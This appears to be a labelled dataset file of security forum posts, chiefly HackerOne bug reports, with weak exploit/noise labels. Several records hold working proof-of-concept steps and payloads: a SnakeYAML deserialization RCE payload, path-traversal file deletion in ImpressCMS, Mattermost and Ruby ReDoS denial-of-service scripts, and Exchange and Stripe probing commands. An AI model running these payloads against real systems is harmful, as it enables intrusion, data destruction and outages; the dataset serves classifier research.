-{"id": "54bf735f8a64da72e923", "text": "[Cross-site Scripting (XSS) - Stored] Cross-site scripting on dashboard2.omise.co\n\n## Summary:\nCross-site scripting (XSS) is an attack vector that injects malicious code into a vulnerable web application.\nStored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.\n\nSteps To Reproduce:\n1. Log in to your account.\n2. Visit https://dashboard.omise.co/test/settings \n3. Under Export - Specify the metadata that you want to include in your export option. Enter in all four parameters including Charge, Transfer, Refund, Dispute.\n4. Click on Update settings.\n5. Click on Try our new dashboard, XSS will Trigger or log out and log in again, and XSS will Trigger.\n\nPOC:\nAttached Video.\n\n## Impact\n\nCode injected into a vulnerable application can exfiltrate data or install malware on the user's machine. Attackers can masquerade as authorized users via session cookies, allowing them to perform any action allowed by the user account.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3946be1a00ce6a23a7d7", "text": "Can you show the syntax that you usted to get the flag? To know what and why you’re stuck. If you’re doing something wrong. For the last, do you upload the right payload in the “404.php” on theme editor? Feel free to DM me.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9df55ae4cbd0866c7181", "text": "[Uncontrolled Resource Consumption] DoS via large console messages\n\n## Summary:\nWhen server console logging is enabled, it's possible to cause a complete denial of service to the server by submitting large text (>64KB) that gets output in the console log. This causes the server to become unavailable for all users.\n\n## Steps To Reproduce:\n_I set up my environment following the steps at https://developers.mattermost.com/contribute/server/developer-setup/windows-wsl/_\n\n 1. Create a test server and team.\n2. Make sure console logging is enabled in the server settings, with debug level.\n 3. Visit the server via Burp Suite for the next step.\n 4. Go to a channel, and type some non-existing slash command like`/command` that doesn't exist, and execute it while intercepting the request in Burp Suite.\n5. You should get a POST request to `/api/v4/commands/execute` with a JSON body with a `command` value.\n6. Send the request to the Repeater in Burp Suite.\n7. _The vulnerability comes from the fact that if you type a non-existent command, it will log an error that includes the command you gave. There is no size limit on the command value in the API directly (only in the text box)._\n8. Replace the command value with `/000000000000000000000000000000000000000000000000000000000000000...`, where you use more than ~64KB of text (66,000+ characters will do nicely). _You can copy and paste, select all, and copy-paste repeatedly to generate a large text size._\n9. If you send the request with this super large payload, the server will see the command is invalid, and try to log the error message to the console. The error message contains the large payload, and **will cause the server to become unresponsive if the log message is over ~64KB** (65,535 bytes) (The size includes the rest of the error message, so the exact payload size required will be a bit less, but 66,000 bytes ensures it will always work without adding too many unnecessary characters).\n10. The server will not connect now until you restart with the `make run-server` command, and will be unavailable for all users and all teams.\n\nThis only works when CONSOLE logging is enabled (file logging doesn't seem to be affected). And for this attack vector, it is required to have DEBUG logging enabled, but it might be possible to find a vector that works via a different log type.\n\nI will say I also found another vector abusing this same issue via SQL query logging, which I will submit later depending on the status of this report. But obviously, since it requires SQL query logging to be enabled it's not as big of an issue as this one, and it has the same root cause.\n\n## Impact\n\nComplete Denial of Service to all users of a server. It would be trivial to execute a script that automatically sends the payload whenever the server is available, to make sure it continually crashes.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1a2b85256945d7d19b66", "text": "[Business Logic Errors] CVE-2022-27782: TLS and SSH connection too eager reuse\n\n## Summary:\nCurl fails to consider some security related options when reusing TLS connections. For example:\n- CURLOPT_SSL_OPTIONS\n- CURLOPT_PROXY_SSL_OPTIONS\n- CURLOPT_CRLFILE\n- CURLOPT_PROXY_CRLFILE\n\nAs a result for example TLS connection with lower security (`CURLSSLOPT_ALLOW_BEAST`,` CURLSSLOPT_NO_REVOKE`) connection reused when it should no longer be. Also connection that has been authenticated perviously with `CURLSSLOPT_AUTO_CLIENT_CERT` might be reused for connections that should not be.\n\n## Steps To Reproduce:\n1. `(echo -ne \"HTTP/1.1 200 OK\\r\\nContent-Length: 6\\r\\n\\r\\nHello\\n\"; sleep 5; echo -ne \"HTTP/1.1 200 OK\\r\\nContent-Length: 6\\r\\n\\r\\nAgain\\n\") | openssl s_server -cert cert.pem -key privkey.pem -cert_chain chain.pem -accept 9443`\n2. `curl -v --ssl-no-revoke --ssl-allow-beast https://targethost.tld:9443 -: https://targethost.tld:9443`\n\nConnections are made using the same reused connection even though security settings change.\n\nWith curl built against openssl:\n1. `curl http://cdp.geotrust.com/GeoTrustRSACA2018.crl | openssl crl -out testcrl.pem`\n2. `curl -v https://curl.se -: --crlfile crlfile.pem https://curl.se`\n\nThe crlfile.pem use should result in `curl: (60) SSL certificate problem: unable to get certificate CRL` but is ignored since previous connection is reused.\n\nWith curl built against Schannel and revoked certificate:\n1. `curl -v --ssl-no-revoke https://revoked.grc.com -: https://revoked.grc.com`\n\nSecond connection will reuse the existing connection even though revocation check is no longer requested.\n\n## Note:\n\nThere may be more options that might have the similar issues. These were the most obvious I could see (ones having obvious security impact).\n\n## Impact\n\nWrong identity (client certificate) or TLS security options being used for subsequent connections to the same hosts.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-27782"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1f0fdde00633c9bd0ccf", "text": "[Code Injection] Ingress-nginx annotation injection allows retrieval of ingress-nginx serviceaccount token and secrets across all namespaces\n\nI submitted the following report to security@kubernetes.io:\n> I've been exploring CVE-2021-25742 and believe I've discovered a variant (although it appears there may be many). Most template variables are not escaped properly in `nginx.tmpl`, leading to injection of arbitrary nginx directives. For example, the `nginx.ingress.kubernetes.io/connection-proxy-header` annotation is not validated/escaped and is inserted directly into the `nginx.conf` file.\n>\n> An attacker in a multi-tenant cluster with permission to create/modify ingresses can inject content into the connection-proxy-header annotation and read arbitrary files from the ingress controller (including the service account).\n>\n> I've created a secret gist demonstrating the issue against ingress-nginx v1.0.4: https://gist.github.com/amlweems/1cb7e96dca8ada8aee8dc019d4163f2c\n\n## Impact\n\nAn attacker with permission to create/modify ingresses in one namespace can inject content into the connection-proxy-header annotation and read arbitrary files from the ingress controller (including the service account). This service account has permission to read secrets in all namespaces.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2021-25742"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1c98e34a1c3cb5242628", "text": "There are only two chipsets that serious cybersecurity specialists do recommend, the Atheros AR9271 and the Realtek RTL8812AU. For more information related to these chipsets, you may find David Bombal’s YT videos useful. Or you know, google it. If you want to do packet injection and monitor nearby networks you gotta have an adapter that has these capabilities. There are more out there, other chipsets but I honestly believe these are the best money can buy, Both chipsets can be found in the ALFA adapters which everyone agrees are the best. Which specific adapter, there are a few, depends on your budget, how easy are to conceal and of course, availability, not everyone lives in a country where ALFA products will be easy to find. A more affordable option is the TP-Link WN722N version 1, it comes with the Atheros chipset and I think works out of the box, aka plug and play, but today’s market has only version 2 or 3 available which cant do monitor mode and packet injection without drivers and help. If you find a version 1 adapter you are a lucky man, if not Bombal’s videos help you to install the drivers, and voila, within minutes your TP-Link will work but bear in mind the chipset isn’t the Atheros or the Realtek 8812au, rather another version, can’t remember which one now. It will work but in terms of performance and quality is considered inferior quality. I talked about brands but more important than the brand is the chipset which, if you are lucky, you can find in unbranded generic adapters like the Wifi Nation and others. Mine is an unbranded one with the RTL8812AU chipset. If you find a cheaper unbranded adapter that comes in cheap miserable packaging but the chipset is one of the two, then go get it. Keep in mind that Atheros is single-band only, 2.4 while the RTL is dual, 2.4 and 5.8 I hope you find this information useful.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-04-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aed5ab7816f6545c9cd4", "text": "[Uncontrolled Resource Consumption] Slowvote and Countdown can cause Denial of Service due to recursive inclusion\n\nSimilar to #85011, if you edit a Slowvote or Countdown object and include its own object ID in the description, then it will recursively include and prevent the page from loading.\n\nmongoose\n\n## Impact\n\nDenial of Service. You can include the Slowvote or Countdown object on any other object to also prevent it from loading. If it is included in the feed, you could also prevent the home page from loading.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "17db066d491e556b9ff6", "text": "[Information Disclosure] Limited path traversal in Node.js SDK leads to PII disclosure\n\n## Summary:\nIt is possible to use `.` and `..` as identifier in all API methods, which leads to calling the parent api method.\nNext, I will describe the problem using checkout sessions as an example, because it is the most basic one. However, other methods are also vulnerable to this problem.\nFor example, using `.` as checkout session id in [Retrieve a Session](https://stripe.com/docs/api/checkout/sessions/retrieve) method leads to call [List all Checkout Sessions](https://stripe.com/docs/api/checkout/sessions/list) method.\nThe problem arises because the Node.js http implementation automatically normalizes the path, so request `https://api.stripe.com/v1/checkout/sessions/.` will normalize to `https://api.stripe.com/v1/checkout/sessions/`.\nI checked other SDKs and it looks like the problem is only in the Node.js SDK.\n\n## Steps To Reproduce:\nFor ease of reproduction, let's create a project using [accept-a-payment](https://github.com/stripe-samples/accept-a-payment) sample template.\n\n 1. Register Stripe account and obtain `STRIPE_SECRET_KEY`\n 1. Create sample project using Stripe docker cli: `docker run --rm -it -v $(pwd):/samples -w /samples stripe/stripe-cli:latest samples create accept-a-payment`\n 1. Choose `prebuilt-checkout-page` integration, `html` client and `node` server.\n 1. Create `.env` file in `accept-a-payment/server` directory with contents:\n ```\n STRIPE_SECRET_KEY=xxx\n STATIC_DIR=/app/client\n DOMAIN=http://localhost:4242\n ```\n 1. Run another docker container with nodejs: `run -it --rm -v $(pwd)/accept-a-payment:/app -w /app/server -p 4242:4242 node bash`\n 1. Install dependencies: `npm install`\n 1. Start the server: `node server.js`\n 1. Open web page in browser and complete the payment: `http://localhost:4242`\n 1. Send curl request in terminal: `curl \"http://localhost:4242/checkout-session?sessionId=.\" | jq` (this request does not require any authentication and returns PII of all successful payments).\n\nExample output:\n```json\n{ \n \"object\": \"list\", \n \"data\": [ \n { \n \"id\": \"cs_test_a14L46PUF4tbXhcFrVU4Zv42kBQD2Hw5TIR6XdNHPJFckllG1Un4MztwlF\", \n \"object\": \"checkout.session\", \n \"after_expiration\": null, \n \"allow_promotion_codes\": null, \n \"amount_subtotal\": 500, \n \"amount_total\": 500, ", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a8263218fab4cb059e55", "text": "Well it appears I over complicated this by 1000 times. At least I learned how to process data and modify scripts lol.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ec27b4c78cfd2e6b8824", "text": "[Open Redirect] open redirect to a remote website which can phish users\n\nBy Adding some extra headers in the request I noticed that the user is redirected to a remote website. This can lead to stealing a user credentials (phishing) on a remote server.\n\nThese headers can be added either using a MITM attack or by chaining with another vulnerability such as request smuggling, header injection more commonly abusing a reverse proxy that sits in front of the website.\n\nps:crayons\n\n## Impact\n\nThis can lead to stealing a user credentials (phishing) on a remote server or planting malware on the user's computer.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e06686c478d4b47094ec", "text": "[Unknown] ReDoS in Time.rfc2822\n\nHello, I found a pattern that occur ReDoS in `Time.rfc2822` (and `Time.rfc822`).\n\nhttps://github.com/ruby/time/blob/v0.2.0/lib/time.rb#L505\n\n```ruby\n def rfc2822(date)\n if /\\A\\s*\n (?:(?:Mon|Tue|Wed|Thu|Fri|Sat|Sun)\\s*,\\s*)?\n (\\d{1,2})\\s+\n (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\\s+\n (\\d{2,})\\s+\n (\\d{2})\\s*\n :\\s*(\\d{2})\\s*\n (?::\\s*(\\d{2}))?\\s+\n ([+-]\\d{4}|\n UT|GMT|EST|EDT|CST|CDT|MST|MDT|PST|PDT|[A-IK-Z])/ix =~ date\n``` \n\nIt is a detect result by `recheck` ( https://makenowjust-labs.github.io/recheck/ ).\n\n{F1624605}\n\n## PoC\n\n```\n❯ ruby -v\nruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]\n\n❯ irb\nirb(main):001:0> require 'time'\n=> true\nirb(main):002:0> Time.rfc2822 \"0 Feb 00 00 :00\" + \" \" * 20000\n# => ReDoS (and raise ArgumentError)\n```\n\n## benchmark\n\nrfc2822_benchmark.rb\n\n```ruby\nrequire 'benchmark'\nrequire 'time'\n \ndef rfc2822_parse(length)\n text = \"0 Feb 00 00 :00\" + \" \" * length\n Time.rfc2822(text)\nrescue ArgumentError\n nil\nend\n\nBenchmark.bm do |x|\n x.report { rfc2822_parse(100) }\n x.report { rfc2822_parse(1000) }\n x.report { rfc2822_parse(10000) }\n x.report { rfc2822_parse(100000) }\nend\n```\n\n```\n❯ bundle exec ruby rfc2822_benchmark.rb\n user system total real\n 0.000326 0.000009 0.000335 ( 0.000344)\n 0.029284 0.000054 0.029338 ( 0.029469)\n 2.860528 0.007354 2.867882 ( 2.875771)\n 290.843621 0.889107 291.732728 (292.665729)\n```\n\n---\n\n\n## Rack\n\nIn `Rack::ConditionalGet`, the header value is parsed by `Time.rfc2822`, so it is possible to attack from the request.\n\nhttps://github.com/rack/rack/blob/2.2.3/lib/rack/conditional_get.rb#L52\n\n### PoC\n\nGemfile\n\n```\n# frozen_string_literal: true\n\nsource \"https://rubygems.org\"\n\ngem 'rack', '~> 2.2', '>= 2.2.3'\ngem 'puma', '~> 5.6', '>= 5.6.2'\n```\n\nconfig.ru\n\n```ruby\nclass Server\n def call(env)\n # puts env\n [ 200, {}, [\"...\"]]\n end\nend\n\nuse ::Rack::ConditionalGet\nrun Server.new\n```\n\n```ruby\nrequire 'net/http'\n\nurl = URI.parse('http://127.0.0.1:9292/')\n\nreq = Net::HTTP::Get.new(url.path)\n\nreq['IF_MODIFIED_SINCE'] = \"0 Feb 00 00 :00\" + \" \" * 20000 + \"+0\"\n\nres = Net::HTTP.start(url.host, url.port) {|http|\n http.request(req)\n}\nputs res.body\n```\n\n```\n❯ time bundle exec ruby rfc2822_request.rb\n...\nbundle exec ruby rfc2822_request.rb 0.18s user 0.07s system 2% cpu 11.516 total\n```\n\n## Impact\n\nReDoS occurs when `Time.rfc2822` accepts user input.\n\nRails uses `::Rack::ConditionalGet` by default, so it can be attacked by a request from the client.\n\nIf using nginx etc., the header length is limited to about 8k bytes, so it seems to be less affected. ( https://stackoverflow.com/questions/686217/maximum-on-http-header-values )\n\nOn the other hand, puma is susceptible because it can be used up to 80 * 1024.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b59426a148bf6f0a08b6", "text": "[Unknown] Unrestricted Access to Celery Flower Instance\n\nHi Team,\n\nThe Celery Flower instance is running and publicly accessible via the PIM mobile route /pim/flower/*. The access to this service is presently unrestricted. \n\nI quickly took a glance at the API to ensure that access is unrestricted. From this quick look, it appears possible to shut down a worker instance, revoke or terminate tasks, and perform other actions. In addition to unrestricted access to tasks and workers, I observed ███ via `/api/tasks` endpoint. Most importantly, the endpoint `/api/task/async-apply/*` seems to apply a task asynchronously, and there seems to be a possibility to execute arbitrary code on the Celery worker through this endpoint. I believe it's unwise for me to go beyond this since the instance is running in the prod environment, so I'm sending this quick report to you. If some form of escalation is needed for impact assessment, please let me know.\n\n##Vulnerable Endpoint\n```\nhttps://api.excalls.mobi/pim/flower/\n```\n\n#Steps to Reproduce\n\n```\nhttps://api.excalls.mobi/pim/flower/api/workers\nhttps://api.excalls.mobi/pim/flower/api/tasks\nhttps://api.excalls.mobi/pim/flower/api/task/info/dc58fcb7-be31-4f4e-aeff-5837f0c32d30\n```\n\n\n\n#Proof of Concept\n█████\n\n████\n\n██████\n\n\n#Suggested Mitigation\n\nSet the `flower_unauthenticated_api` environment variable to `false`\n\n## Impact\n\nThe impact includes, but is not limited to:\n\n1. Manipulating tasks to achieve unintended outcomes, such as disrupting or halting PIM processes.\n2. ███\n3. A malicious actor could continuously monitor and revoke tasks as they are created, preventing their execution and consuming resources. This could exhaust the Celery worker's resources and hinder its ability to handle legitimate tasks.\n4. There seems to be a possibility to execute arbitrary code on the Celery worker by executing a task asynchronously.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "87a21e022439555bfe65", "text": "[Improper Access Control - Generic] Delete external storage of any user\n\nA security vulnerability was uncovered that allowed standard users to remove external storage resources from any user account in the application. This flaw was particularly concerning because it enabled unauthorized users to delete these resources based on a system-generated ID, which automatically incremented, without requiring any special privileges. This issue didn't grant access to the data but allowed for the indiscriminate removal of external storage associated with user accounts, potentially leading to data loss and disruption of service for affected users.\n\nReproduction Steps:\n1.Begin by logging in with a standard user account and establish an external storage connection.\n2. Afterward, update the storage configuration. Observe that the following request is generated:\n```\nPUT /apps/files_external/userstorages/ HTTP/1.1\nHost: 127.0.0.1:9090\n[REDACTED]\n\n{\"mountPoint\":\"simpleuser\",\"backend\":\"owncloud\",\"authMechanism\":\"password::logincredentials\",\"backendOptions\":{\"host\":\"cq6xxrdnw1941wu9jk4gcyfuglmfa4.oastify.com\",\"root\":\"\",\"secure\":true},\"testOnly\":true,\"id\":,\"mountOptions\":{\"enable_sharing\":true,\"encoding_compatibility\":false,\"encrypt\":true,\"filesystem_check_changes\":1,\"previews\":true,\"readonly\":false}}\n```\n3.Next, log in to the application with an administrative user account or any other role and establish a storage connection.\n4.Observe that each new storage created increments the ID automatically. For instance, it could become 28.\n5. Using the standard user role, issue the request once more to modify the ID linked to the administrative storage. Observe that this action leads to the removal of the storage from the administrator's account.\n\nVIDEO POC:\n{F2778950}\n\n## Impact\n\nThis finding has a huge impact on the application, including data loss, service disruption, unauthorized actions, data privacy concerns, security risks, and potential reputation damage.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cc04de8ddfb0c26f728d", "text": "[Cross-site Scripting (XSS) - Reflected] RXSS at image.hackerone.live via the `url` parameter\n\ngood day\n\nhttps://image.hackerone.live:8443/;/;/resource/md/get/url?url=http://oast.pro\n\n\nis allowing full read ssrf wirh permission can try for aws creds.\n\n-Eric\n\n## Impact\n\nfull read ssrf", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "034d933e1e04f35ca1ef", "text": "[Path Traversal] Arbitrary File Deletion via Path Traversal in image-edit.php\n\n## Summary:\nThe vulnerability is located in the `/libraries/image-editor/image-edit.php` script:\n\n```\n161.\t\tif (@copy ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' . $simage_temp, $categ_path . $simage->getVar ( 'image_name' ) )) {\n162.\t\t\tif (@unlink ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' . $simage_temp )) {\n163.\t\t\t\t$msg = _MD_AM_DBUPDATED;\n\n[...]\n\n190.\t\t} else {\n191.\t\t\tif (copy ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' . $simage_temp, $categ_path . $imgname )) {\n192.\t\t\t\t@unlink ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' . $simage_temp );\n193.\t\t\t}\n```\n\nUser input passed through the \"image_temp\" parameter is not properly sanitized before being used in a call to the `unlink()` function at lines 162 and 192. This can be exploited to carry out Path Traversal attacks and delete arbitrary files in the context of the web server process.\n\n**NOTE**: before being deleted, the file will be copied into the `/uploads/imagemanager/logos/` directory. As such, by firstly deleting the `index.html` file in that directory, it might be possible to disclose the content of arbitrary files in case the web server allows for directory listing.\n\n## ImpressCMS branch :\nThe vulnerability has been tested and confirmed on ImpressCMS version 1.4.2 (the latest at the time of writing).\n\n## Steps To Reproduce:\n 1. Login into the application as any user (this should work both for Webmasters and Registered Users) \n 1. Go to: `http://[impresscms]/libraries/image-editor/image-edit.php?op=save&image_id=1&image_temp=../../../mainfile.php`\n 1. The `mainfile.php` script will be deleted, rendering the website unusable\n\n## Impact\n\nThis vulnerability might allow authenticated attackers to delete arbitrary files, potentially leading to a Denial of Service (DoS) condition or destruction of users data.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "41854d39c222f012c673", "text": "[Unknown] Unauthorized Access - downgraded admin roles to none can still edit projects through brupsuite\n\nhi team,\nI found that your site is vulnerable to Unauthorized Access lead to privilege escalation, where when the owner invites a user with admin roles, the user can still edit anything with admin access, via brupsuite, it should get an error message because the admin role has been removed.\n\n\nproduction step:\n1. The `owner `invites `user` with admin roles at https://dashboard.omise.co/team\n2. Then the `user`, intercept any request using brupsuite, for example edit/add link at https://dashboard.omise.co/v2/links\n3. then the `owner` lowers the role to `none`\n4. then you will see, the user does not see the create link feature because the role is lost\n5. but when the `user` repeats the request step#2 via brupstuite. then it will be valid.\n\nPoC :\n██████\n\n## Impact\n\nUnauthorized Access lead to privilege escalation, downgraded admin roles to none can still edit projects through brupsuite", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7238ca993601dec22b22", "text": "[Use of Hard-coded Credentials] Exposed valid AWS, Mysql, Sendgrid and other secrets\n\n## Summary:\nHi team,\n\nI just discovered some hardcoded credentials allowing access to AWS, Mysql database, ...\n\nTo make this report short, here is the POC: \nsee ███ & █████\n## Steps To Reproduce:\n\nwhere there are the info : \n\n
\n\n\n\n\n 1. The leak was found using Leakix : https://leakix.net/host/16.170.179.191\n\n#Mitigation :\n\nRemove the exposed credentials and revoke them.\n\nRegards,\n\nNB: After checking some files which i deleted immediatly, I found the company name is GLOVOAPPRO SRL and im not sure if it is related to Glovo company, but I can confirm a little bit from the database where I could see delivery fees ... which is about Glovo's principal service (delivery).\n\n## Impact\n\nAnyone could access", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e847354cd2dc4adee27d", "text": "[Code Injection] The `io.kubernetes.client.util.generic.dynamic.Dynamics` contains a code execution vulnerability due to SnakeYAML\n\n## Summary:\n\nIf the `io.kubernetes.client.util.generic.dynamic.Dynamics` is used to deserialize a `DynamicKubernetesObject `from untrusted YAML, an attacker can achieve code execution inside of the JVM.\n\nSince this is a part of the public API, down stream consumers can be using this API in a way that leaves them vulnerable. I have found no users of this class on GitHub outside of this project's unit tests. But that doesn't mean there are no users of this API. Someone built it for a reason, right?\n\n## Component Version:\n\nKubernettes Java Client version 17.0.0\n\n## Steps To Reproduce:\n\n1. Host a server with a JAR file containing the following code: \n```java\npackage org.jlleitschuh.sandbox;\n\nimport javax.script.ScriptEngine;\nimport javax.script.ScriptEngineFactory;\nimport java.io.IOException;\nimport java.util.List;\n\npublic class ScriptEngineFactoryRCE implements ScriptEngineFactory {\n static {\n try {\n Runtime r = Runtime.getRuntime();\n Process p = r.exec(\"open -a Calculator\");\n p.waitFor();\n } catch (IOException | InterruptedException e) {\n throw new RuntimeException(e);\n }\n }\n\n @Override\n public String getEngineName() {\n return null;\n }\n\n @Override\n public String getEngineVersion() {\n return null;\n }\n\n @Override\n public List getExtensions() {\n return null;\n }\n\n @Override\n public List getMimeTypes() {\n return null;\n }\n\n @Override\n public List getNames() {\n return null;\n }\n\n @Override\n public String getLanguageName() {\n return null;\n }\n\n @Override\n public String getLanguageVersion() {\n return null;\n }\n\n @Override\n public Object getParameter(String key) {\n return null;\n }\n\n @Override\n public String getMethodCallSyntax(String obj, String m, String... args) {\n return null;\n }\n\n @Override\n public String getOutputStatement(String toDisplay) {\n return null;\n }\n\n @Override\n public String getProgram(String... statements) {\n return null;\n }\n\n @Override\n public ScriptEngine getScriptEngine() {\n return null;\n }\n}\n```\n\nThe jar file must contain a file `/META-INF/services/javax.script.ScriptEngineFactory` with the contents `org.jlleitschuh.sandbox.ScriptEngineFactoryRCE # Our RCE Payload`\n\nHost this jar file from a local server's root path.\n\nThen call the `Dynamics` yaml parsing APIs with the following payload:\n\n```yaml\n!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:8080/\"]]]]\n```\n\n## Fix\n\nThe SnakeYAML parser should be instantiated with the argument `new SafeConstructor()` in order to not be vulnerable to arbitrary deserialization.\n\n## Supporting Material/References:\n - https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in (I'm currently attempting to convince the maintainer of SnakeYaml to make this library secure by default, with limited sucsess)\n - https://nvd.nist.gov/vuln/detail/CVE-2022-1471\n - https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2\n\n## Impact\n\nIf this Dynamics class is used to parse untrusted YAML, an attacker can achieve remote code execution", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-1471"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ddce8a31990f20b2fca3", "text": "Sounds like it will work! The only thing I can think of is things that use your GFX-card for processingpower and that a smaller specced laptop may struggle with those parts. However, it should work to crack hashes etc also but just not as fast as something with a OMGROFLCOPTER Nvidia card", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-09-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cc2cd92b67b9db81972f", "text": "Same thing happening to me, and it says to relaunch checkra1n but anytime I try… same text “waiting for dfu device”", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-05-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6d60e698cbbea9ca26c5", "text": "[Business Logic Errors] Subdomain takeover of images.crossinstall.com\n\n## Summary\nimages.crossinstall.com points to an AWS S3 bucket that no longer exists. I was able to take control of this bucket and put my own content onto it. I can now serve content on this domain, obtain a TLS certificate for this domain, etc.\n\nIf any customers or servers are pointing to anything within this domain, I could serve them arbitrary/malicious content. I could also use this in case your domain whitelists your own domain for OAuth, or if there are cookies scoped to the entire domain. Usually this can have a high impact.\n\n## PoC\nVisit images.crossinstall.com/index.html; an HTML comment with my username is present.\n\n```\n% dig images.crossinstall.com +short\nassets.crossinstall.com.s3.amazonaws.com.\ns3-1-w.amazonaws.com.\ns3-w.us-east-1.amazonaws.com.\n52.217.103.180\n\n% curl images.crossinstall.com/index.html\n\n\n% whois crossinstall.com | grep Org\nRegistrant Organization: Twitter, Inc.\nAdmin Organization: Twitter, Inc.\nTech Organization: Twitter, Inc.\n```\n\n## Impact\n\nSubdomain takeover", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "02c5e9e7a8855cd59cd2", "text": "[Server-Side Request Forgery (SSRF)] mail.acronis.com is vulnerable to zero day vulnerability CVE-2022-41040\n\nHello Acronis team,\n\nPlease run\n\ncurl -ksL -m5 -o /dev/null -I -w \"%{http_code}\" \"https://mail.acronis.com/autodiscover/autodiscover.json?Email=autodiscover/autodiscover.json@outlook.com&Protocol=ActiveSync\"\ncurl -ksL -m5 \"https://mail.acronis.com/autodiscover/autodiscover.json?Email=autodiscover/autodiscover.json@outlook.com&Protocol=ActiveSync\" | grep Protocol\n\n\nand get following output\n\n404 and {\"Protocol\":\"ActiveSync\",\"Url\":\"https://eas.outlook.com/Microsoft-Server-ActiveSync\"}\n\nProving that mail.acronis.com is vulnerable to CVE-2022-41040\n\nPoc video attached\n\n## Impact\n\nSSRF can be used to for unauthorized actions or access to confidential data.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-41040"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
